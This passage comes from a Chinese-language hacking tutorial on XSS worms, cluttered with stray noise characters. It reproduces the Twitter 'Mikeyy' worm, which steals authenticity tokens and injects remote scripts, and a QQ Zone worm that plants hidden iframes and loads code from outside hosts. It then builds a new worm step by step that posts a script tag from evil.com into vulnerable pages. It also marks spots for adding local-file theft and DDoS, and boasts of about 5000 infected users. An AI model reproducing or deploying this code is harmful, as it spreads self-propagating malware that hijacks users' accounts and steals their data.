0 h/ ~$ X, _  j0 ?+ c2 B8 u" O! h0 T: K

3 b8 y4 l/ b# e& KXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

4 u, o' ^; _' O* wXmlHttp.send(null);
" W4 m! {. _# z" Y& X) i4 n
; F6 Z% W4 e2 ^* |<script>
6 s- m) d( [" K* }2 h复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
2 d! [" A2 Q" H4 A复制代码案例:Twitter 蠕蟲五度發威
第一版:
2 s( b3 o: }$ w" f# f  下载 (5.1 KB)

; f% g% W5 d7 q! N6 天前 08:27

" K" a4 N4 M3 `. ?第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
* M7 l6 M' m: v8 B2 S( b3 O: `; R# T
- A0 F2 T& b3 K, m7 \   2.   

   3. function XHConn(){  
7 e  G7 K- y% u, F* k
   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

( s' M2 [1 a3 l, N. Z2 T, z   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
$ U/ I) F/ O; Q( w
2 `9 e. a0 {5 U+ l2 o   2.   var content = document.documentElement.innerHTML;  
( p( u- L5 S4 t' [
   3.   var tmp_cookie=document.cookie;  
; K" j) D& V2 V* {
   4.   var tmp_posted=tmp_cookie.match(/posted/);  
% U& x% H( k# T) q+ U' R- \
6 F+ X  z. a6 d" h6 l. `1 H   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

, @" j6 Z: X$ q; |1 p   6.   var authtoken=authreg.exec(content);  

% t2 M" O) r5 t9 X/ A8 d! h   7.   var authtoken=authtoken[1];  

   8.   var randomUpdate= new Array();  

* C6 A0 z! T# S7 c2 @   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
3 i0 @& Y; I0 k* ^6 t$ `6 w
  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
9 h0 P3 _3 `. g& N6 e: E9 ]
+ X& @6 g% `6 C0 G8 e  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
9 x) `# z' j/ ~
8 H9 N6 E' p; u  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
9 {0 ^4 K  b5 h! e! G3 f
$ k2 ]3 ^5 h/ ~  B: Y# h4 C( h: ^  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
1 z7 F4 q: Y0 i* K/ N( X* a+ U# A3 C
2 Z  E; P+ ~1 Q) H! `$ ~  P9 K  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
5 O+ y  y- S4 M5 V: g
  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
  M( ^* M5 d9 z$ F# u7 p
+ l7 d+ \6 N7 K1 f; w, N, j) x( [  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
9 ]. q& n7 `' T8 ~
  24.     
+ d' M. u; e+ @* H& ?
  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
, Q6 U; S7 _2 z( r$ t) g" n1 c6 D
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

( T* I: n$ w4 A9 C  27.     

& {) ]3 e, X6 \7 ^3 b  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
  m- m/ U1 m" V( |
. m/ x" ~9 N+ t  30.   var _0xf81bx1c="Mikeyy";  
% ^/ k0 w6 ?' ?9 B% I+ `' z
  31.   var updateEncode=urlencode(_0xf81bx1c);  
! a" ~1 Q- I! f4 }+ _9 X6 q1 R
, n0 U7 B( S0 h# n' b+ {  R" }  32.   var ajaxConn1= new XHConn();  
6 c) B/ T( }2 m! G
  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

  35.   var XSS=urlencode(genXSS);  
( O5 G  u* F. q1 u
& v( p8 t$ i6 i( b) }  j( f  36.   var ajaxConn2= new XHConn();  
" q$ r7 ?, R7 s6 a5 x
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

  38.     

. ?- J! p6 [" u7 g6 d  39. } ;  

  40. setTimeout(wait(),5250);  
) j8 k6 n. O* i+ ^  {3 H复制代码QQ空间XSSfunction killErrors() {return true;}
% \, Z6 K& U% T5 w
2 O5 X' T, z/ F' p5 rwindow.onerror=killErrors;

! g* d! @7 h" W, a# E8 J. i

" F0 ~- `) ~/ O: i- f# n! ?) fvar shendu;shendu=4;
$ r2 S% b& g/ M, q- @$ p
( P) j9 g) |! Z1 `9 q. M/ B: O1 E( N//---------------global---v------------------------------------------

1 S% F; x1 G- \$ [$ S# K, ?% I7 S, Y0 [//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

# s7 ?1 W. V2 U" f$ y& nvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

var myblogurl=new Array();var myblogid=new Array();

+ [# F& a7 M; i        var gurl=document.location.href;
5 d& L- F! x  F" |* F8 G. [
7 U7 [9 F% d% `2 W4 E2 E* P1 z        var gurle=gurl.indexOf("com/");
! E- J7 S4 O; D; w5 K. @
8 V2 S' t. [% A& K& U& k# j- [2 X/ `        gurl=gurl.substring(0,gurle+3);        

        var visitorID=top.document.documentElement.outerHTML;

- @* S3 U* ]8 v' M" b) Q* Y* R           var cookieS=visitorID.indexOf("g_iLoginUin = ");

5 G# O$ \5 f( q8 G$ b; \        visitorID=visitorID.substring(cookieS+14);
' h2 }" k1 Q$ [1 @' E8 j5 h7 W
        cookieS=visitorID.indexOf(",");
# U9 |/ O# l, ^! \% |
        visitorID=visitorID.substring(0,cookieS);

- d1 d3 i% m6 @, q* I) R* h        get_my_blog(visitorID);
" n/ q1 O1 A) E) I$ P! e: ]  s
( C! r9 o, \0 m3 A+ l        DOshuamy();


! }/ L3 u2 f$ m+ Y  A- R5 C& N. D
" k7 O: A2 [6 d8 q//挂马

function DOshuamy(){

; J: l) i) G  f/ t' f. f; Evar ssr=document.getElementById("veryTitle");

: H% s7 R! W% U% Hssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

}
0 z- e' }& @1 V6 X5 U


1 t* n. l  @* E$ _4 R9 S" \7 X$ z//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
% Z/ {0 b7 k) V0 j) L- W
- V4 Y6 y% \) ofunction get_my_blog(visitorID){

   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
) f0 _$ P5 c# V+ b
  {( M/ w: L  H   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的
6 P9 j5 W1 K* Q& @, [7 |
     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

# v) B3 x/ J" Q! f     xhr.send();guest=xhr.responseText;
7 t$ M1 p! }7 M  V
% C* p" Q# _5 g8 y/ L     get_my_blogurl(guest);    //执行这个函数
; r, L- t/ u! }) N5 A5 g
    }
: x- R+ E: R* ]
8 r- a  [! x6 G7 q0 Y}



; S) f4 q. g% n: D$ ]+ K& p//这里似乎是判断没有登录的
# d7 ~% H7 E9 N
function get_my_blogurl(guest){
2 t+ K  c! u2 D# d  y; s
  var mybloglist=guest;

  var myurls;var blogids;var blogide;
3 z- z0 W' C5 H/ E8 n
) S8 z! r6 T: z  for(i=0;i<shendu;i++){
2 I3 H, u$ z8 B5 z* k( m+ Q. H
# T' Z6 {7 N3 v8 E1 d8 H     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

     if(myurls!=-1){    //找到了就执行下面的
3 U2 ]5 e: H2 W+ x3 s
         mybloglist=mybloglist.substring(myurls+11);
8 E1 n/ A* |) q$ _4 a5 Z* K3 [
, p7 ~5 p$ q4 w6 l& |         myurls=mybloglist.indexOf(')');

% P7 [7 G9 ]. m+ X) G         myblogid=mybloglist.substring(0,myurls);
# e1 b# K* U) U+ G  l6 O4 D+ z
  U, u) {2 W# `. |' W7 c+ B; V        }else{break;}
1 H: _! R# n7 W3 _2 h+ ~2 j' Z' }
1 ]% |7 {6 i9 Y& W# n}
' A. J8 I- P; ]& V8 u3 A& U8 ]( x
get_my_testself();    //执行这个函数
9 y1 o3 n5 ?/ q+ T
}


  K7 x; i8 F* T
$ B4 w) g; W9 F" z* X//这里往哪跳就不知道了

function get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值

      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

$ }9 |! T! N( {. C" k9 x3 s5 `+ n      if(xhr2){        //如果成功

, t: K; c7 z8 c  d6 N% C6 H9 n              xhr2.open("GET",url,false);     //打开上面的那个url
5 K/ v7 G. s0 N' L# T9 J3 y, c0 b
% m3 i& N6 D9 Y3 q, L5 V              xhr2.send();

- D/ B. m! y: U. ]! C+ Z              guest2=xhr2.responseText;
1 f8 n, }: F6 I; _, M; _0 E3 A
5 @! u9 X. ]9 j              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
+ D& l  }9 `$ W: t+ V9 Z" B( F
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   
: |9 [% v# K% X; ?
/ T9 a; O/ Y3 |& t" k                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
! [" i+ q! _' G! z9 Z
                break;
6 e7 n, f0 y/ p3 t# t. M3 ]. ]
               }
  a# d3 `' b9 B2 h# D' D
4 j6 F, m/ s3 B& F2 g              if(mycheckit=="-1"){
1 O1 p2 e. P" r/ X! [. j+ E
; o3 H/ Z  n0 a% a                targetblogurlid=myblogid;
% l1 K: U: @1 b( n0 L& E( H, G
! A4 i; S* R2 c5 S4 T                add_js(visitorID,targetblogurlid,gurl);    //执行它

3 |9 b. I, a; U2 V2 g                break;
+ }2 y5 l; b' H* A; V- j% ?
  Q; D$ r" w/ q/ M6 z! X  [% @               }

. V% R7 _- j$ A1 L! G        }      
4 `6 I2 x+ A) ]5 r6 \. x2 V6 R/ I
: s8 D. E! r1 ~- r/ t% G6 v}

}
* @- i9 C7 C* m
: R* V: z5 P3 U! S8 S' l

" H5 e4 U8 Q6 N3 j/ J" [//--------------------------------------  
: o, R1 v9 d/ n& K: F4 {; X
; U$ [* a2 O" f. O! X  z//根据浏览器创建一个XMLHttpRequest对象
. G5 A" R) u5 K# z0 J" e$ L2 n- `# g
, g1 C; ~# l* g% ?! U5 c# Z+ Z: Ifunction createXMLHttpRequest(){
$ R) q! [# d: W1 W& Q, h, c
    var XMLhttpObject=null;  
7 z+ O* h9 M3 N, X( T
    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

* Z5 j+ H5 z' R% \    else  

2 U8 P+ ]! x4 J% a6 x      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
, f) X) c6 {. h! c. {$ a' T8 J
7 q4 ]$ S( B& j) ~* C        for(var i=0;i<MSXML.length;i++)  

* s# c5 K  l+ x2 A! _6 ]        {  
8 i4 q5 Y# ]: w0 W
6 N4 L) {4 A+ O: \            try  

            {  

                XMLhttpObject=new ActiveXObject(MSXML);  
' g) \4 i9 v, m% A! Z
/ \. Q. m6 y" W% [, j                break;  
' h# {( @2 A9 @: n9 O3 i
# }$ O5 \' ^1 e; \4 ?9 G* F            }  
- {) w% A# n! i2 K' Q
            catch (ex) {  

            }  
2 T3 k8 B) |3 k7 [9 f# k
         }  

      }

5 J" Y1 c; h* e+ f( ureturn XMLhttpObject;
7 I. c$ `/ G3 @* H! u# V+ b# q
8 d9 S8 e' s, J7 h8 i}  


# P; n& H0 ~  N3 X+ E$ Y% B) z/ h
//这里就是感染部分了
! R3 g0 P: o, G! H' A8 M8 P: h
: h! H# n9 A6 j& wfunction add_js(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

/ A% w$ I: ]. f) |% Ls2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';

1 A- F3 X  a$ K0 K% c* Idocument.getElementsByTagName('head').item(0).appendChild(s2);

+ L6 G1 F" c% b1 ]" P: a}
# S) v3 p9 a/ z4 E
* j. f1 i, b( ^. J

function add_jsdel(visitorID,targetblogurlid,gurl){

  a: Y6 F: ~8 i( @% l( \var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

' m% c* P4 [2 P0 F3 @s2.type='text/javascript';

' O1 y  B& n0 a' H, u6 zdocument.getElementsByTagName('head').item(0).appendChild(s2);
$ i- W3 P  v5 K5 ^2 v
}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
3 c. x& y" P3 b" e1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

" K; X8 n" z7 E. v
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
4 B* A  [, B4 p/ T3 u: s3 O
首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {
0 R5 m6 _  }2 u/ q: Z
( o# J' q/ S! X3 prequest = new XMLHttpRequest();
7 s+ D1 U6 b0 {3 e, K+ j( v
% m5 m8 @, A5 |! D/ |6 Iif(request.overrideMimeType) {
3 p% F9 M9 O0 \
request.overrideMimeType('text/xml');

5 o* h/ b2 a( g}
" g/ u' X/ N- O2 B, G1 N
) L' Z/ L$ H' c. w8 [} else if(window.ActiveXObject) {
" \; v' S9 R; y# g
  l; N3 F8 v2 r! I" R, f- g7 x6 {, Bvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {

try {

request = new ActiveXObject(versions);
$ W7 H# J  S. }8 x% y
5 c, z% M1 L5 u} catch(e) {}

}
4 X! U5 y; |% z+ F# t
% x2 `% v+ i$ S. f, j/ r; Q$ x}
6 b2 R; Q! x8 q; o
xmlHttpReq=request;
: e4 x! Z+ O2 N6 B9 M: t/ G复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
2 S; x+ z$ M4 P( C5 O. B! z0 V) m
        var Browser_Name=navigator.appName;
3 W/ V; k8 m" x5 M
        var Browser_Version=parseFloat(navigator.appVersion);
# q, e9 a, o8 |8 N# O
2 ]. K8 X- U6 x0 ?5 a4 }        var Browser_Agent=navigator.userAgent;
, z9 {5 ^1 f* R+ u+ L4 v  I
        

        var Actual_Version,Actual_Name;
7 h0 g& x$ \0 @" K' K* y
        

; Q$ Z0 Z6 m1 g' G        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");
5 s  ?, P: z; S  L. T) s7 M
8 ~3 l" p! T- b  z9 ~* s        
0 D& [( u9 C0 D. n0 J
        if(is_NN){

" ?$ F7 g- d. }8 Z            if(Browser_Version>=5.0){

                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);
6 Q- ~5 n* W+ \8 v
4 f. d1 X4 ^& }6 u                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
6 M) F( A% }, }/ @: o
5 b  T8 j1 H6 B  r/ p. k
4 s; A2 d  h1 `% ]- C  E
* |9 P% C6 i4 S% ]                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
$ g( H# t9 t2 K! _
- h) N- s. j) C% d( t+ o            }
; Q. @# k: G# L" m2 z
% B6 _- @3 K* p: I% B' z            else{

7 Q9 p& l& o% F- N% g- l3 O$ G                Actual_Version=Browser_Version;
; N( q% d7 b& K
0 l  G8 p  \+ b  h. m                Actual_Name=Browser_Name;

            }
. o4 a, j- C+ i! ^- A. H
        }

/ f9 B5 v/ a2 j8 J" C9 i& w        else if(is_IE){
( v5 w' t: Q5 e
            var Version_Start=Browser_Agent.indexOf("MSIE");
- B1 e+ I8 K. P5 C1 h. a3 F7 X
/ t1 v6 Y* i" m! s7 R$ G            var Version_End=Browser_Agent.indexOf(";",Version_Start);
  [+ @& L1 U: Y" Y" `* J
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
/ t" t$ @& |$ S3 ]& S0 q# Q( S
# S$ s5 p( x' y5 Q2 l( j, i            Actual_Name=Browser_Name;
, m* _$ l0 `6 ?& K1 z: m5 x" I8 u
) w" a+ W. }$ j# c            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
4 G1 |4 F9 r& N: D& f* o" h1 J
                Actual_Name+="(Maxthon)";

5 S" H9 m& r; ?6 w' u; G; z: z/ H            }

2 c" q! D! ?+ t/ T: o            else if(Browser_Agent.indexOf("Opera")!=-1){
7 N7 V' V* x# v5 V* U6 L5 S
                Actual_Name="Opera";
+ P  y" U8 A4 s- u" A% y- T
$ D' g) N& @1 p* b                var tempstart=Browser_Agent.indexOf("Opera");
1 u+ N$ D6 E* ]; v+ p
4 x5 t- B1 z- I, Y                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
- u, ~2 i1 S6 C% r- [6 r% T* y
            }
% u* }+ J' q$ c# ]3 M, ?
# F1 j  `6 y. m+ z7 B! ]3 d        }

" y% F2 Q, p) y1 u8 L  f        else if(is_Ch){

5 ~$ u5 S: x9 s$ V' U) Z            var Version_Start=Browser_Agent.indexOf("Chrome");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);
; I/ k! ], J1 l, b/ j& q8 d
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
, s/ C4 Y3 Q4 M: _. [
            Actual_Name=Browser_Name;

            
! s) L  x, C8 H% C( f$ k
* R% W1 J! F% v            if(Browser_Agent.indexOf("Maxthon")!=-1){

. e% N4 F6 @" B& Z& R  {/ ^3 t                Actual_Name+="(Maxthon)";

            }
: L3 J+ H. Y" O, j+ ^+ a
9 ?9 }# p+ O1 ]/ J# v            else if(Browser_Agent.indexOf("Opera")!=-1){
! D/ Q" S* r6 y6 C! _) y) k% I6 L: h
                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

0 C0 `" e0 I( N7 v9 M+ r; ~" O                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
! T! P- b. c/ [+ Q  E7 d
            }

$ D- \, ]# L* [/ b% S        }

) {3 ]5 U$ H; J, q        else{
) D# J3 g0 x/ b  E5 r0 G
            Actual_Name="Unknown Navigator"

- y6 M- F3 U: b% j2 k& S            Actual_Version="Unknown Version"

        }



; a! u8 a- {/ j        navigator.Actual_Name=Actual_Name;
3 @" F* r; A0 P2 r3 L/ X& j$ r
        navigator.Actual_Version=Actual_Version;

+ F( ^! P, Y, i# w+ C! H8 m        
* h% I% r- L8 |% X4 m
        this.Name=Actual_Name;

        this.Version=Actual_Version;

    }

0 w" H) Z1 |. M$ K0 d4 ]# Q/ {    browserinfo();
& l9 e4 J+ f" G2 m2 v
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

# s9 |9 @+ _& k    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

9 `! @2 n7 M" l    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

3 ]% s% x! L& C0 d5 L    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
# }/ `6 d9 Y* `/ _复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
9 N! w0 Y. }* C% Y复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
% P1 }5 u0 o1 f5 k7 [+ S1 t
xmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;

; q7 \& f8 p3 w& q/ @5 G4 }var id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

1 d6 {" g$ n  p& @while ((result = patt.exec(resource)) != null)  {

id++;
1 p& F/ u! V# d. {0 t; [
}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
- i9 {2 }$ c0 G( L( a
no=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

9 A& G1 I. D0 |9 u* H: t8 Rvar post="wd="+wd;

xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
* r* ]! I+ g) J' C7 F
  E9 i/ L: a, f4 H# v  ^% ]; {xmlHttpReq.setRequestHeader("content-length",post.length);

$ A, h4 N: y: W& j# QxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);
* A) {' o" W3 u9 F
}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
6 J1 {5 I, n" }5 a' E" w. {) \: L
+ n" h  k# `. [: [" g; L% y: Lvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

+ o) N/ V' Q, }% C! kvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
  }" P1 w) E2 v$ ], I" l1 h
var post="wd="+wd;

xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
6 i6 [" R/ p2 O( h
* Y* S# K, F, P8 VxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
* O6 U3 X6 n, \% F7 i
5 Z/ ]# |! S6 Y! m: nxmlHttpReq.send(post);                 //把传播的信息 POST出去.

0 n5 U* e; h9 e7 W}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------


8 Q" g  s( o, @1 N
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
8 O# C" e( H1 V( Z# J- k操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

( C0 w% M8 Q% X  v
) U/ @# O* \) a9 `
% R3 C3 U* o8 @' i/ |- |& M
# [. A, h) I  H- K9 H
2 e% C0 N+ i/ |2 P


本文引用文档资料:

4 p+ v: w  }9 H0 G) S"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
  O' I% n; p5 f, M6 Zhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
6 k" z' I1 B. B4 P空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
6 |$ d9 b1 c- p. h% N3 n